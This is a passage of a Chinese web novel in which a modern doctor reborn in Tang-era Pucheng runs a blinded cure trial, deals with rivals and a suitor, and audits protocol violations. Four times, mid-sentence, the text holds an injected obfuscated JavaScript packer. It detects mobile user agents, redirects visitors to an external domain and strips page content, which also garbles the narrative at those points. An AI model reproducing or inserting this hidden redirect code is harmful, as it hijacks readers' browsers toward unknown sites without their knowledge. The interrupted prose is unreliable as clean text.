她站起身,因为蹲太久头晕乎乎的差点没站稳,白理下意识站起来,但杨凛火速放下两大碗水先一步奔来她身边,担忧地问:“大人,您没事儿吧?” 冯麓摆了摆手,“没事儿,低血压而已。白堂主,剩下的就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513166|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交给你了,我得修书向长安汇报情况。” “汇报什么?” “药材不够的事儿啊,我让人从长安寄来。” 白理眼神追着冯麓,不解地问:“你用的那些药材在蒲城都有的卖,为何要长安寄来?” “验方需要的量很大,普通的药铺是无法承载的。蒲城的药材要是都被我买光了,你白堂主第一个追杀我。” “哦对了,还是要谢谢昨夜的柴火和蜡烛。以后不用可怜我,我不需要。”冯麓头也没回地走了。 随着她那瘦削的背影一点点消失在白理的视野中,他才收回眼神。他皱着眉,面无表情地自言自语:“我给她留下的印象有这么差吗?” “这难道不正是堂主您想达成的目的吗?”杂役不解地问道。 这一问愣是把白理问宕机了,他也不知道为什么现在会在乎起自己在冯麓心里的印象。 他下意识讨厌攀附权贵的人,但他渐渐发现冯麓并没有视人命如垫脚石,也并没有如她所说只为了自己活命,她是真的在乎每个人的病情,甚至连蒲城缺药都考虑到了。 或许我真的错怪她了,白理想。 冯麓想来想去,发现自己混了这么久除了尚药局的郑安沅依然没有可靠的熟人,所以她只能修书给他,请求尚药局派人送一些药材来。 没过两日,郑安沅就用端正又刚劲的柳公权体回了信。他先礼仪周全地向冯麓问候,然后说尚药局刚收了一大批优质药材,最后告诉她不出三日药材便会全部到位,请她不必忧虑。 杨凛接过信仔细阅读起来,啧啧赞叹,“郑大人这一手字真漂亮,遣词造句也很得体,更别说为人处事,丝毫没有因大人是女子就敷衍了事。” “对啊,不像某人。”冯麓小声吐槽。 “某人?您是说白堂主?” “除了他还有谁?”冯麓一想到白理就忍不住翻白眼,“虽然他那天给我们送柴火确实很像个人,但还是改变不了他招人讨厌的事实。” 旁观者杨凛只觉得这两人在这种方面竟拥有奇怪的默契。所有人都对白理佩服不已,唯独冯麓;所有人都对冯麓欣赏有加,唯独白理。 如果他们俩人可以讲和,冯大人应该会轻松不少吧,杨凛心想。 注释及参考文献: [1]严重不良事件:指现代药物试验过程中发生需住院治疗、延长住院时间、伤残、影响工作能力、危及生命或死亡、导致先天畸形等事件,简称“SAE”。 [2]揭盲:指现代药物试验中揭晓随机分组的结果,在试验过程中通常不允许揭盲,除非受试者出现严重不良事件(SAE)或者可疑且非预期严重不良反应(SUSAR)需要得知他用的什么药。 [3]艾灸:最早可溯源于——《备急千金要方》孙思邈(唐)。 [4]六君子汤:据说源自《太平惠民和剂局方》,实际最早收录于《医学正传》虞抟(明)。 [5]四君子汤:该药物配伍最早可追溯于《备急千金要方》孙思邈(唐),该命名最早可溯源于《太平惠民和剂局方》太医局的陈师文、裴宗元等人(宋)。 [6]低渗性脱水:指水分和钠同时缺乏,但缺钠大于缺水,通常因为腹泻、呕吐或者大量出汗,患者一般会头晕乏力、手足麻痹等。 8. 长安来客 王媪已经顺利完成了第三疗程的治疗,不止血纹淡了很多,整个人的精气神也上来了。 她这段时间成了冯麓新方最有力的推广者,到哪儿都不忘提一句冯大人神医下凡,闹得最近来仁医堂找冯麓的人犹如雨后春笋。 “冯大人,您就让我们也用解药吧!” “我不仅不要你们的银子我还可以资助仁医堂,价钱随便开!” 诸如此类的话每天都会在仁医堂重复播放十几遍。 “很抱歉各位,不是钱的事儿,不是每个病患都适合用解药的。”冯麓艰难地吐出一遍又一遍这样的话,哪个医师会愿意眼睁睁看着自己的病患用不了药呢。 “为什么王夫人、六公子、还有杜公子都可以,我们就不行?我们比他们差在哪儿了?” “是啊,你不给个说法我们就不走了!” 百姓们说着说着就围上来,硬是把冯麓挤到了前厅的墙角。尖锐刺耳的指责充斥在狭小的空间里,就连空气也变得稀薄,几只手来回推搡着,冯麓两眼一抹黑几乎就要晕倒。 “请各位不要为难冯大人,她也是奉陛下之命行事。” 郑安沅柔和悦耳的声音再次逆着人流降临冯麓的世界,像一汪清泉,一如那次朝堂之上。 他从袖子里掏出月银鱼符亮明身份,淡定地说:“我是尚药局的奉御郑安沅,负责协助验方使大人完成验方工作。” 人们纷纷回头,听见是来自长安的官员都默契地为郑安沅让出一条路来。 他的第一件事,就是径直走来扶起已经瘫在墙边的冯麓,尔后正色道:“验方使大人日夜操劳已然体力不支,有什么疑问不必劳烦验方使大人,我来回答即可。” 经过郑安沅礼貌又详尽的解答,大家终于对这个验方工作有所了解,虽然遗憾但也不再有怨言。 冯麓把他请到南亭里,为他泡了一壶红茶接风。“我这儿是小地方没那么好的条件,郑大人见谅。” “冯大人不必为我沏茶,按官阶来说应该我给冯大人沏茶才是。”郑安沅笑着说。冯麓摆摆手,忙说自己没有官瘾,她只当他是朋友。 “朋友?”郑安沅提取到了关键词,眼睛里亮起一丝惊喜的神色,“我们现在已经是朋友了吗?” “啊哈哈,若是郑大人不缺朋友就当我没说过这话。”冯麓喝了一口茶尴尬地笑。 郑安沅看她喝了茶,自己也不自觉跟着她的动作细品了一口,“缺,当然缺。我很乐意和冯大人交朋友,这是我的荣幸。” “多谢郑大人亲自相送药材,感激不尽。”冯麓放下茶杯,比了一个抱拳礼,把郑安沅逗得眼睛都笑出褶来了,他也抱拳回礼,“朋友之间,举手之劳。” “郑大人这回是特意来传信儿的?是陛下那边是有什么情况吗?” 冯麓不免担忧起李麒来,也不知他病情有没有加重,能不能撑到她解药研发成功。 “陛下每日都在申正时分练习你的‘八段锦’[1],这个法子前所未见但效果却意外地不错,陛下面色居然真的红润不少,上朝的声音也没那么虚弱了。”郑安沅啧啧赞叹道,“冯大人,你究竟还有多少独门绝学?” 冯麓垂眸喝茶避而不答。她不愿意承认这些是自己的东西,因为这不是她自己研发出来的,而是站在现代社会汲取了前人的智慧。 仁医堂另一边,白理已经为杜蜻做完新一次随访。 待杜蜻领完第二疗程的药以后,白理犹豫再三还是向杨凛提出自己的疑问:“那个……你家大人今日怎的没来仁医堂?她不是每一步都要亲自盯着吗?” “大人她今日早就来了,此时应是跟郑大人在南亭叙话。” “郑大人?谁?” 杨凛回答:“郑安沅大人是尚药局五品奉御,从长安来给大人送药材。” “送药材需要他一个五品官员来吗?怕是图谋不轨吧。” 杨凛不假思索地否定了白理的猜测,“白堂主您这就是恶意揣度了。我进京赶考时受到了郑大人的帮助,他为人正直谦逊又和善大方,身为荥阳郑氏却坚持只靠自己获取功名,这是多少世家子弟都无法做到的。” 杨凛谈论到这个从长安来的陌生人,满脸的崇拜神情让白理心里泛起异样的不适。 “哦对,大人还跟我提过一个往事——验方事宜在当时被整个朝堂反对,唯独郑大人出言支持,而且之后也是郑大人出面帮我家大人找监官尝验,渡过了艰难险阻的第一道关。 郑大人乃真君子也。” “行了!”白理越听越烦躁,深吸一口气组织了杨凛那无穷无尽的夸赞,“别说了。” “这不是您问我的吗……”杨凛也学冯麓的模样默默在白理身后翻了个白眼。 时间长了,他也渐渐体会出自家大人那么讨厌白理的原因了,这人浑身就是一个矛盾体嘛。 白理面色铁青地离开问诊室。 他也不知道心里这股无名火是从杨凛的哪个字涌起的,就是下意识不想听到这个郑安沅的任何事情。 白理大步流星地走到院子口,就看到冯麓正和郑安沅在院子里的南亭有说有笑,甚至她还主动起身给对方倒茶。 冯麓面对自己时,要么是一个虚伪微笑的假人,要么是一个冷漠至极的冰块,这是白理第一次看到表情如此生动的冯麓。 真让人不爽。 白理快步走过去,用自己的手指敲了敲石几,一字一句地吐出来:“我没有允许你在我的地盘私会陌生男子。” 郑安沅想站起来解释,却被冯麓拦住了,她颇不快地瞪着白理:“你能不能不要说的这么难听?我是在这儿与郑大人谈论公事。” “公事?谈公事需要笑这么开心吗?还给他端茶倒水的?” “不可理喻。”冯麓只觉得自己的脑袋快被面前这个人气炸了,“我对所有人都这样,我是想跟所有人都好好相处的,除了你,只有你。” “白堂主对吧?幸会。”郑安沅伸出手来行礼,见白理迟迟不回应也没有觉得尴尬,只是笑着收回手,“在下今日登门一是为了送药材,二是向冯大人亲自传达陛下近况,三是……” 郑安沅扭头望了一眼冯麓,柔柔地补充:“为了确认冯大人是否安康。” “郑大人,验方使在蒲城好得很,不劳您挂心。”白理咬着后槽牙回答。 冯麓叹了口气,无力地说:“白堂主,请不要把对我的那套恶意和偏见放在郑大人身上,或许我以前有做得不妥之处,但郑大人没有做错任何事。你这样很幼稚,把小时候受到的伤害无差别扣在毫无关联的其他人头上,对他不公平。” “你!”白理要被这一男一女气晕。 “冯大人,药材已送到,我先回客栈,改日再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513167|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜访贵府。” 冯麓又满面春光地看向郑安沅,“哎,说什么‘贵府’啊,就是一个小院子罢了。我先去跟杨凛交代一下,等会儿我送你回客栈。” 冯麓小跑着离开,轻巧地拐过一道弯彻底消失两人的视线中。郑安沅收回眼神,表情玩味地问:“白堂主,你讨厌冯大人?” 白理支支吾吾地答:“……没有。” “那就是喜欢冯大人了?” “当然不是,难道对一个人不是讨厌便是喜欢吗?”话虽如此,但白理的眼珠开始不自然地晃动,放在石几的手也变得不知所措。 ‘讨厌’?他现在好像也没有那么看不惯冯麓了。‘喜欢’?他怎么可能喜欢冯麓那种人前人后两幅面孔的人? 当白理还在心里思考这两个问题的时候,郑安沅石破天惊般向他投来一个重磅炸弹。 “那我就放心了,”他挑挑眉,笑得志在必得,“因为我很喜欢冯大人。” “冯大人是我见过最强大、最勇敢、最聪慧的女子,她那姣好的容貌反而是她最不值一提的美丽。” “若是白堂主对冯大人没有想法,我会努力获得她芳心的。不过,即使白堂主想与我竞争,我也不认为我会输。” 郑安沅勾勾嘴角,行了个礼后踱步离开仁医堂,留下呼吸都快停滞的白理。 “呼——岂有此理,居然敢在我的仁医堂挑衅我。” 白理回过神来,愤怒和妒火几乎要将他燃烧殆尽,他跑去门口向护院大喊:“从今以后,郑安沅不许踏入仁医堂一步,要是我再在仁医堂看到他,你就给我收拾铺盖回家!” 虽然护院不知道发生了什么,但还是毕恭毕敬地应答道:“是!” 冯麓把郑安沅送回客栈,顺道和他在那儿吃了晚饭。凳子都还没坐热,路上就传来一阵呼救声,冯麓没有一丝犹豫丢下筷子就奔出去。 那是一个少女,捂着头痛苦地蜷缩在地面,看样子是头疾发作。 “姑娘,可以让我看看吗?”冯麓蹲下问。神经撕扯得她无法开口说话,只能点头表示同意。 冯麓把了脉,发现这个少女也是“气不摄血证”,她把少女的胳膊揽在肩膀上,一步一步艰难地向前走。 “冯大人需要我……”“我自己可以,多谢。” 冯麓本就弱小的身躯硬是将毫无力气的少女连抱带拽带回仁医堂,她放声高喊:“杨凛!杨凛!” 没有回应,她只好把少女放到一张小榻上,二话不说开始施针。 她撩起少女的袖子,和李麒一模一样的血纹,嘴唇泛白,手掌寒凉,需要立即补足阳气。 一刻钟后,少女终于缓缓醒来,睁眼看见冯麓的一瞬间就眼泪汪汪地拽住她的衣袖,央求道:“大人,我知道您就是验方使大人,求求您,帮我解咒吧。” “我就快和琅文哥哥成亲了,不能让他发现我中了咒。他会嫌弃我不要我的,求求您。” 冯麓深吸一口气,她不希望少女活下去的理由是一个男子,但她无法无视她的求生意志。 她叫来了白理,经过诊断,她与李麒的脉象和症状有七成相似,可以入组治疗。 但是—— 这是白理第一次抽中“安慰剂组”。 注释及参考文献: [1]八段锦:最早可以溯源于《夷坚志》洪迈(宋)。 9. 病患投河 冯麓站在上帝视角看着芮雪开开心心地把那组根本没有一点作用的药罐领回家,心里泛起丝丝愧疚。 第一疗程结束,芮雪来仁医堂眉飞色舞地诉说感觉身体开始恢复体力,以及头疾很少再发作的情况。 她是有史以来最乖巧的受试者。她每日按时服药,清晰又工整地在日志簿上记录了每日餐食和症状,不多服漏服,也没有食用任何禁用药或食物。 可冯麓翻开那本标准的日志簿,总是会从心底涌现无限悲哀。怎么偏偏就是她。 第二疗程也顺利结束,芮雪手臂上的血纹仍然没有减淡,她告诉冯麓自己头疾又像往常那样发作,站久了头晕目眩,还总喘不上气。 “白堂主,冯大人,这是解药在发挥药效时的必须要经历的阶段吗?”芮雪眨着双眼看向皱眉思考的白理,又看向不敢与之对视的冯麓。 她十分期盼着药效的到来。 可她是对照组,她所期盼的永远不会降临在她身上。 “也许需要更长的时间,再等等。”白理安慰芮雪道。 “好的,那我再耐心等等。”芮雪柔柔地笑,“多谢白堂主和冯大人。” 而站在白理身后的冯麓一个字都不能说,甚至连任何有指向性的表情都不能做,只能淡淡地目击她离开。 翌日,冯麓又在街上碰到芮雪。 她面色苍白,却努力地扬起笑容,招呼冯麓去家里喝茶。她太热情,冯麓太心虚,推脱都显得无力。 冯麓跟着芮雪回了家,但是她们进的是“孟府”。 “这是你母家?”冯麓疑惑地问。芮雪摇头,细声道出她的身世。 “我是父母双亡后被夫人捡来的孩子,及笈后须嫁与孟府当媳妇。” 居然是童养媳。 “我一直把我的血纹隐瞒得特别好,除了您和白堂主没有人知晓。若我能在半年后与琅文哥哥顺利成亲,再顺利诞下子嗣,就算十年后孩子血纹显现,我也早已到达二十五岁爆血死去。” “非得嫁入孟府吗?” “整个蒲城都知道我是来路不明的山野弃女,若不嫁入孟府,也攀不上更好的夫家了,像我这样平凡无能的女子不嫁人还有什么活路呢?恐怕连二十五岁都活不到吧。”她苦涩地回答。 冯麓觉得这些话听起来诡异又可悲,一个四肢健全的女子得先靠欺骗去嫁人,再靠嫁人存活于世。 冯麓感慨道:“若是你生在我们那儿,完全可以靠学习一门技能为生,想嫁谁就嫁谁,不想嫁人就可以单身一辈子。” “我还从未去过长安,原来长安的女子可以如此幸福自在啊。”芮雪羡慕地感慨。 冯麓无奈地笑笑,没办法接话也没办法反驳芮雪的话。她初次遇到她还以为她是一个恋爱脑,今日才知道她只是一个走投无路的可怜人。 “芮雪,”冯麓咬着嘴唇问出这个她自己听起来也很离谱的请求,“可以晚一年再成亲吗?” 芮雪疑惑问道:“为何?” “你现在……”冯麓欲言又止。 冯麓很想说出一切,说现在她吃的药不是解药,说一年后解药或许研发成功,能不能再等等她。 但出于职业道德,她还是只能说:“……年纪太小了。” 芮雪突然笑出声来,因为不停地笑,本来毫无血色的脸颊都被染上了一丝粉红。“不小呀,我母亲在我这个年纪都把我生出来了,大家几乎都是这个年纪嫁人的。” “在我看来所有女子都不应该在十五六的年纪成亲生子。身体和心智都还没有成熟,怎能去当好一个妻子和母亲呢?” “那多大是成熟呢?您这个年纪吗?”芮雪问。 “也不行。芮雪,我希望你越晚成亲越好,”冯麓严肃地回答,“我不想你受伤。” 两位少女并肩走在木头长廊上,鞋底发出清脆有节奏的声响,行至中天的秋日缓缓在她们身上洒下温柔缱绻的光芒。 芮雪抿起嘴唇,不动声色地贴近冯麓身边,轻轻地问:“冯大人,我可以唤您姐姐吗?” 冯麓愣在了原地,神色复杂地低头看向芮雪。 这不仅仅是一个称呼,这对于一个孤僻内向又敏感自卑的人,已经是最大程度的示好与信任。 她在想,自己能否承受得起她的这份信任。 而芮雪看到她冷淡无言的模样,立刻慌忙陪笑着撤回自己的话:“冯大人是天降神医,是金枝玉叶的贵人,我肯定是不配与冯大人攀亲近的。 我不论是在山野流浪,还是进入孟府当养女,从来没有人在乎我会不会受伤,所以方才一时糊涂说了傻话,冯大人就当没有听到吧。”她抿着嘴,就快把自己的头低到尘埃里。 冯麓浅笑一声,轻轻摸了摸芮雪的头顶,说:“不能当没听到啊。 因为我同意了。” 芮雪仿佛不相信自己的耳朵,猛地抬头,眼里反射着庭院中明亮的日光,惊喜地问:“冯大人您是认真的吗?” “当然。” “太好了!姐姐……我有姐姐了!”芮雪欢喜地笑起来,虽然因为情绪激动咳个不停,但丝毫不影响她的兴奋雀跃。 冯麓笑得眼睛弯两道月牙,轻柔地帮她顺着后背,“我不白白受你一声‘姐姐’。以后我会保护你的。” 我会保护你。 陆知晓从她刚拿到带教资格带实习生和规培生的时候就经常说这句话。 因为师傅没让她淋过雨,所以她发誓要像师傅保护她那样保护后辈——比如那个冰水瓶。 虽然她因为这个冰水瓶穿越到了大唐,但要是时间倒流重新来过,她还是会毫不犹豫地为学生挡下那一道。 身为陆知晓时就是那样做的,现在成为了冯麓也要坚持到底。 冯麓匆忙回到仁医堂,站在白理面前,盯着他的双眼,冷冷地问:“白堂主,你还记得方案里对于没有疗效的病患该如何处理吗?” “嗯……让他们提前出组。”白理一见到冯麓这样严肃的神情就莫名其妙地紧张,他心里开始揣测冯麓此时提起这个的目的可能是什么。 “对。你是芮雪的医师,应该很清楚她的情况吧?她治疗了两个疗程后疗效如何?” “疗效不佳,貌似有加重的趋势。” “那依你而言,她还有必要继续参与验方吗?” 这句话意味不明,白理无法从冯麓的表情和语气判断这句话背后的含义,于是直接说:“当然是继续,王夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513168|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服用第二疗程的药以后也加重了,在第三疗程后才开始大范围恢复的,所以我认为芮雪也可以。” 冯麓脑子一热就双手撑在桌面上,语气尖锐地反驳:“可是王媪她之前服用过禁用食物啊,怎能与之相提并论?” 白理看出来冯麓的不对劲,试探性地反问:“那你认为,我该让芮雪退出吗?反正你知道所有人的组别不是吗。” 这句话像一盆凉水,把丧失理智的冯麓泼了个清醒。 她刚刚在做什么? 她怎么可以干扰验方的结果? “验方使可畅所欲言,我听你的。”白理挑了挑眉说道。他现在怀疑这是冯麓给他下的一个套,就等着他跳下去,所以他偏不上钩。 冯麓深吸一口气,眼神飘忽地收回两只胳膊,清了清嗓子,说:“此事可以不用听我的,你是医师,你决定便可。” “我坚持己见,让芮雪继续用药。” 冯麓几乎用了全身的力气,挤出一丝勉强到有点苦涩的笑,“随你。” 她用力掐着自己的手指快步离去,生怕自己说出错误的话,做出错误的决定。 冯麓在孟府的时候其实有跟芮雪提了一嘴,若是感到疗效不佳可以主动和白理提出退出验方。 但芮雪却笑着摆手拒绝:“我坚持坚持吧,万一明日就起效了呢。” 作为验方的统领者,是不能与受试者走得太近的,冯麓自知已经越过了那道边界线。 失去理智是一件危险的事情,她的潜意识在警告她自己不可以干扰验方,这不仅是对芮雪的不负责,更是对其他受试者的不负责。 但她没办法视若无睹芮雪的痛苦,于是她把自己关在家里连夜研究补救治疗方法,以至于芮雪一旦病情突发加重可以及时处理。 当清晨的第一束光照进冯麓的院子,她终于完成了补救疗法的设计。她伸了伸懒腰,又把纸上的内容顺了一遍。 这是四君子汤加上每日艾灸的组合疗法,即使无法治愈血纹症,也可以让芮雪的病情的进展没那么迅速。 她拿着纸走出房门,却迎头撞上正推门而入的杨凛。 “你在仁医堂整理医案格到现在?”冯麓摸着自己被撞红的额头问。 “大人……不好了……” 一股强烈的不详预感袭来,冯麓的心脏仿佛都被杨凛的这句话揪起来抛向空中,悬而不落。 “谁出事儿了?” “芮……芮雪,”杨凛气喘吁吁地说,“她今早上投河了!” 冯麓用尽全身力气跑向仁医堂,一进门就高声呼喊:“芮雪呢?芮雪她怎么样?还活着吗?” 白理从里间走出来,陈声答:“放心,她还活着。” 冯麓一颗高悬未落的心终于回归大地,她慌忙跑进诊疗间,想看看芮雪的病情。 被打捞上来的芮雪正奄奄一息地躺在榻上,头发湿哒哒地黏在额上和脸上,狼狈不堪。 冯麓上前去帮她把头发撩到一旁,手指却在撩开头发的那一瞬间停滞在空中。 芮雪乌黑的发丝下,白皙的脸颊上,是触目惊心的血纹,鲜红无比,可怖到足以吞噬一切希望。 这意味着,孟府已经知道她的秘密了。 10. 内部稽查 冯麓在看到血纹蔓延到芮雪脸颊上的那一刻,脑海中似乎都已经浮现出了孟府对她大肆辱骂的场景。 骂她把所有人骗得团团转,骂她祖上造孽血统低劣,骂她麻雀也想飞上枝头变凤凰。 芮雪只是个连十五岁都没满的孩子,她当然不能承受住这些像钉子一样的话语。对于一个失去所有生存希望和自尊心的孩子来说,跳入洛水是能想到的逃离这里的最快办法。 冯麓心疼地抚摸着芮雪的血纹,只是过了三周病情就进展得这么快,发作起来一定很痛苦。 芮雪悠悠转醒,在看到眼前见到的第一个人是冯麓时,她的泪水像春雨一般无声淌过脸颊。 “冯大人……”芮雪小声呢喃着。 “我在。”冯麓突然觉得喉咙很疼,像有铁钩在拉扯似的。 “芮雪,你愿意来我这儿吗?”冯麓轻声问,“跟在我身边也许得不到孟府那么好的条件,但是肯定不会让你冻着、饿着,也不会让你受到委屈,而且,我会让你用自己的双手在这世间立足。” 芮雪晶莹闪烁的眼瞳中流露出不敢置信的神情,弱弱地问:“真的可以吗?” “我从来不撒谎。”冯麓温柔地笑。 “我……我怕大人会嫌弃我是个大麻烦。” “没关系,我生来就是解决麻烦的。更何况,”冯麓摸了摸芮雪那如柳叶般柔美的细眉,“我是你姐姐嘛,怎么会嫌弃你呢。” 白理考虑到疗效不佳病情进展,于是决定让芮雪提前退出验方。冯麓将她带回自己的院子安置,给她用上之前设计的保守疗法。 从那日以后,冯麓的身后多了一条小尾巴。 她把自己珍藏的医书拿来给芮雪读,教她认院里的草药,专门为她写了识记手札,甚至让她在自己身上一个穴位一个穴位地尝试扎针。 时间渐渐流逝,验方迎来了第五个受试者。 “脉象和舌象初步符合‘气不摄血证’,接着我需要问您几句,务必如实回答。”白理淡淡地看着冯麓为了直观方便而给他画的评估表,“平日食欲如何?” “食欲很差。”乔豫回答。 “会有头晕头疼吗?”“经常。” “会感觉浑身无力吗?”“……会吧?” 白理皱着眉抬眸反问:“到底会不会?” 乔豫斩钉截铁地说:“会会会,当然会,每日我都疲软无力。” “平日走路会有喘不上气吗?”“有。” 白理用手摸了摸乔豫的手掌心,凉得不行。他在表格里勾勾画画,写了一大串字。 乔豫紧张又期待地问:“白堂主,我符合条件吗?” “符合,”他面无表情地拿出陶罐随手抽了一个纸条出来,“乔公子,您可以下楼在外厅稍作等候,稍后会有人把对应的药汤给您。” 正好也到了王媪最后一次访视的时间,做完这一次问诊她就可以出组了。可此时,门外突然冲进来一个随从模样的人气喘吁吁地喊着要找堂主。 白理急匆匆下楼,得知是折冲都尉突然中毒,性命垂危。 “王夫人的访视推迟一天!” 杨凛连忙拉住白理的胳膊,“不行啊白堂主,大人说一天都不能改变。” “我昨日已去王夫人府上探望过,她神色很好,脉象平稳有力,想是已经基本恢复了,早一日晚一日不影响吧?” 杨凛仍然坚定地否定了这个提议:“不行,大人说了一切行为都必须依照方案来进行,再发生方案违背的话您和我都会被扣钱的。” 杨凛真是跟冯麓越发相像了。白理无奈地扶额,突然想到什么又问:“对了,我记得你说过你学过医术?” “是,我曾跟我伯父学过一点医术,前两年还帮他整理疏注过《难经》[1]。白堂主不会是要……不行!坚决不行!” “既然你会医术,帮我看看又如何?现在你也看到了,都尉大人命悬一线,而王夫人已无大碍,孰轻孰重你分不清吗?” “大人三令五申不允许我们选人做任何诊疗行为,您还是找其他医师吧。” “其他医师都忙得很,整个仁医堂就你最闲,而且你对方案最是熟悉,你来问诊最合适不过。” “可是被大人知道的话……” “你家大人现在全身心都不在仁医堂,她哪儿有心思管你在做什么。” 冯麓早晨带芮雪上山,下午带芮雪义诊,晚上给芮雪在家里做治疗,白理好像已经连续七八日没见过她了。仁医堂里许久没有她在旁边阴阳怪气针锋相对,他还真不太习惯。 “我真得走了,都尉大人也是活生生的一条人命,不可耽误!” 杨凛好像被钉在原地似的,左右为难。他去拜托其他医师,可其他医师连多说一句话的时间都没有,背起医箱子就慌忙往下一家跑。 “杨大人,您好了吗?我还约了蔡夫人赏枫呢。”王媪此时从楼上探了个脑袋出来问。 杨凛吞了口口水握着拳,摆出一副英勇就义的表情抬头回答:“嗯,夫人,咱们开始吧。” 冯麓和芮雪在街头义诊,遇到了不少没钱看病的乡亲,冯麓先是自己把脉,再让芮雪试试,看看她能领悟多少。 芮雪是冯麓带过记忆里最好的学生,很多知识一遍就能记住,若真是被一辈子囿于府宅,这世间就又少一个好医师了。 “你们听说了吗?秦都尉被小人下毒了,现在还昏迷不醒呢!” “天呐,都尉大人都敢毒杀,胆子也太大了!” 两个妇人经过义诊摊时闲聊道。 “传言说秦都尉是从长安赴宴回来才毒发的,想是那人见不惯秦都尉现在是陛下眼前儿的红人吧。” “长安真是尔虞我诈,还是咱蒲城好,地方小但民风淳朴啊。义诊这事儿在长安定是不会有的,知道你病了恨不得从你身上多薅几锭银子下来呢。” 芮雪眨了眨眼,扭头好奇地问冯麓:“姐姐,长安真的这么可怕吗?” “或许吧。” 芮雪打了个寒战,抱着胳膊道:“那我不想去长安了。” “若我们的验方可以顺利完成,我就带你回山谷,那里环境优美人迹罕至,不仅非常安全还可以跟孙先生学到不少东西。” “嗯!我全听姐姐的!” 冯麓也不知道自己画的这个饼能不能实现。 如今蒲城的每个受试者都或多或少存在不良事件和方案违背,对后续的数据统计分析十分不利,解药和她的未来简直是一片灰暗。 黄昏落下,义诊结束,冯麓和芮雪收拾了东西回仁医堂。她发现自己好久没在旁边监督访视了,也不知道有没有出问题。 她站在前厅呼叫着杨凛,问:“最近验方有什么新情况吗?” 杨凛低着头回答:“今日又入组了一人。” “那目前就入了三分之一的病患了,你做得很好。”冯麓笑着夸了一道杨凛,可心虚的杨凛压根儿开心不起来,满脑子都在想王媪那件事儿。 “把目前所有病患的医案格拿给我,我要稽查。” “稽查?”杨凛感觉自己的头皮都在发紧。 “忘记告诉你了,整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513169|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个验方过程中我会进行两次稽查,尚药局也会来人稽查,保证验方质量和真实性。” 冯麓扭头对芮雪说:“我稽查的时候正好你也可以看看,他们记录在案的那些症状、诊断和合并药物之间的关联性是否合理。” “是。”芮雪答。 “还愣着做什么?去把医案格拿出来,我就在这儿看,拿回家我怕弄丢了。” “……是。” 杨凛满头冷汗地把医案格按入组顺序放在桌上,所有评估表也都整理好,连药罐子都码得整整齐齐。 冯麓从一号受试者王媪的医案格开始看。 一个服用禁用食物的方案违背,一共三个不良事件,分别是“头疼”、“气短”和“乏力”。按照评估表来看,她的症状减少得非常多,脉象也逐渐从细弱变成平脉,是疗效显著的证明。 “等等。”冯麓的手停在第四次访视的评估表上,“脉象一个月内会恢复得这么快?不合理啊。” “杨凛,这是谁诊断的?”冯麓沉着脸,盯着杨凛低垂的眼睛问。 “是白堂主。” “王夫人只服了一月的药,脉象应是弦细或者滑细,怎么也不可能是平脉,我不相信白理会分不清这几种脉象的差别。”她压抑住怒火说:“再给你一次机会,重说。” “是我……”杨凛低着头,牙关紧闭,腿都无法控制地发抖。“我错了大人!” “我说过很多次,作为使人没有为病患诊治的资格,即使其他医师都没有时间,即使你精通医术。现在看来你也并没有精通医术,万一王夫人的病情出现转折你却没发现,出事儿了你能负起责任吗?” “我也是不想王夫人推迟访视,再发生一次方案违背嘛。” “现在还不是照样发生方案违背了?你根本没办法瞒天过海。好在我今日稽查及时发现,不然可能会影响全局。” 冯麓叹了口气,“算了,这事儿也不全是你的错,白理没安排好问诊就跑没影儿,他要负绝大一部分责任。” 冯麓从她的斜挎包里掏出一本册子,是她自己编写的《验方守则》,递给杨凛,“看来你们在长安背诵的《守则》全忘记了,那就抄五遍,此后绝不可再犯。” “是。” 白理此时筋疲力尽地从外面走进来,秦都尉是个超级大胖子,给他解毒还真有点难度。 “小董,给我来杯茶。”他有气无力地招呼着杂役。 小董直接把一整壶大枣枸杞茶递来,白理还正对着壶咕嘟咕嘟喝呢,冯麓就大步流星地走出来站定在他面前。 “你完成这五例病患的诊疗以后,蒲城的验方就结束了。” 